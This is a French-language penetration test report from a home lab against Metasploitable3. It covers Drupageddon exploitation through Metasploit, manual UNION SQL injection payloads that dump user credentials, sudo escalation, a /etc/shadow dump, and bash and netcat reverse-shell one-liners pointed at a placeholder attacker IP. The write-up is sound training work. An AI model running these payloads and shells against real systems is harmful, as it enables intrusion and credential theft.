Metasploitable3 — Rapport de test d'intrusion

Auteur : Arlen Fortunato
Date : Septembre 2026
Environnement : Parrot OS (attaquant) → Metasploitable3 Ubuntu 14.04 (cible)
Périmètre : Test d'intrusion réseau complet — énumération, exploitation, élévation de privilèges, post-exploitation
Type : Home Lab / Entraînement Capture The Flag

⚠️ Tous les identifiants ci-dessous sont masqués. Il s'agissait d'un exercice légal en home lab isolé.

Outils utilisés

Reconnaissance — Scan complet des ports avec Nmap

nmap -O -sV -p- -oA metasploitable3 <TARGET_IP>

OS : Linux Ubuntu 14.04, Kernel 3.13.0-24-generic x86_64

Synthèse des vulnérabilités

Détails des vulnérabilités

1. UnrealIRCd 3.2.8.1 (CVE-2010-2075) — Faux positif

Vulnérabilité : UnrealIRCd 3.2.8.1 a historiquement été distribué avec un binaire trojanisé qui exécute des commandes arbitraires lorsqu'un client non authentifié envoie une chaîne de déclenchement avant l'enregistrement — RCE en tant qu'utilisateur du démon IRC.

Tentative d'exploitation : Module Metasploit exploit/unix/irc/unreal_ircd_3281_backdoor avec les payloads cmd/unix/reverse_perl, cmd/unix/reverse_netcat, cmd/unix/reverse_bash. La vérification automatique du module a signalé le service comme vulnérable ; aucune session retournée avec aucun payload.

Dépannage effectué :

• Port accessible (nc -vz)
• Port confirmé comme IRC en clair, pas TLS (openssl s_client)
• Connexion inverse manuelle depuis la cible confirmant que le réseau sortant fonctionne
• Déclenchement manuel de la backdoor via nc retournant l'erreur de protocole IRC 451 — commande interprétée comme commande IRC, jamais exécutée

Conclusion : La bannière de version indique le build vulnérable, mais la backdoor est absente dans cette instance (binaire propre/recompilé). Classé non exploitable — faux positif, avec preuves.

2. Drupal 7.5 — Drupageddon (CVE-2014-3704)

Vulnérabilité : Drupal 7.x avant 7.32 contient une injection SQL critique dans la couche d'abstraction de base de données permettant l'exécution de code à distance non authentifiée.

Confirmation de version : CHANGELOG.txt → "Drupal 7.5, 2011-07-27"

Exploitation :

msfconsole
use exploit/multi/http/drupal_drupageddon
set RHOSTS <TARGET_IP>
set TARGETURI /drupal/
set LHOST <ATTACKER_IP>
set payload php/meterpreter_reverse_tcp
run

Résultat :

getuid  → www-data
sysinfo → Linux ubuntu 3.13.0-24-generic x86_64
pwd     → /var/www/html/drupal

Énumération post-exploitation :

• /var/www/html : chat/, drupal/, payroll_app.php, phpmyadmin/
• /home : 16 comptes utilisateurs

3. Application de paie — Injection SQL basée sur UNION (manuelle)

Vulnérabilité : Formulaire de connexion payroll_app.php, injection SQL dans le champ mot de passe. Aucune automatisation utilisée — créée via curl.

Étape 1 — Contournement d'authentification :

' or 1=1#

' ferme la chaîne SQL, or 1=1 force la condition à vrai, # commente le guillemet restant.

Étape 2 — Nombre de colonnes + mappage d'affichage :

' UNION SELECT null, null, null, null#     -- no error = 4 columns
' UNION SELECT 1, 2, 3, 4#                 -- markers: 1=Username, 2=First, 3=Last, 4=Salary

Étape 3 — Énumération d'information_schema :

Étape 4 — Dump (mots de passe masqués) :

' UNION SELECT username, password, salary, null FROM users#

4. SSH — Identifiants par défaut et réutilisation d'identifiants

Chemin 1 — Compte par défaut : paire d'identifiants vagrant par défaut authentifiée via SSH → utilisateur dans le groupe sudo avec (ALL : ALL) NOPASSWD: ALL.

Chemin 2 — Réutilisation d'identifiants : identifiants récupérés depuis le dump SQLi authentifiés directement via SSH en tant qu'autre utilisateur du lab (luke_skywalker, groupe sudo, (ALL : ALL) ALL).

Signification : démontre la réutilisation d'identifiants entre services — identifiants applicatifs mappés à un compte système.

5. Élévation de privilèges (deux chemins)

• Chemin A : vagrant → sudo -l affiche NOPASSWD: ALL → sudo su - → uid=0(root).
• Chemin B : luke_skywalker → sudo (ALL : ALL) ALL → sudo su - → uid=0(root).

Aucun exploit local nécessaire — les deux comptes disposent de droits sudo excessivement permissifs.

6. Dump du shadow

sudo cat /etc/shadow

16 hashes md5crypt ($1$) extraits — collecte complète d'identifiants après élévation de privilèges.

7. Post-exploitation — Reverse shells

Payload 1 — bash :

bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1

Capturé sur nc -lnvp 4444 → shell interactif.

Payload 2 — netcat (named-pipe) :

mkfifo /tmp/fifo; nc <ATTACKER_IP> 4445 0</tmp/fifo | /bin/sh >/tmp/fifo 2>&1; rm /tmp/fifo

Capturé sur nc -lnvp 4445 → shell interactif.

Mécanisme : le named pipe (FIFO) fait le pont entre stdin/stdout de netcat et /bin/sh, formant un tunnel bidirectionnel sur un seul socket ; le FIFO est nettoyé ensuite.

Recommandations de remédiation

Avertissement

Tous les tests ont été effectués exclusivement dans un home lab isolé utilisant des logiciels intentionnellement vulnérables (Rapid7 Metasploitable3). Aucun système de production ni cible non autorisée n'a été sollicité. Ce rapport est destiné à des fins éducatives et au développement personnel de compétences uniquement.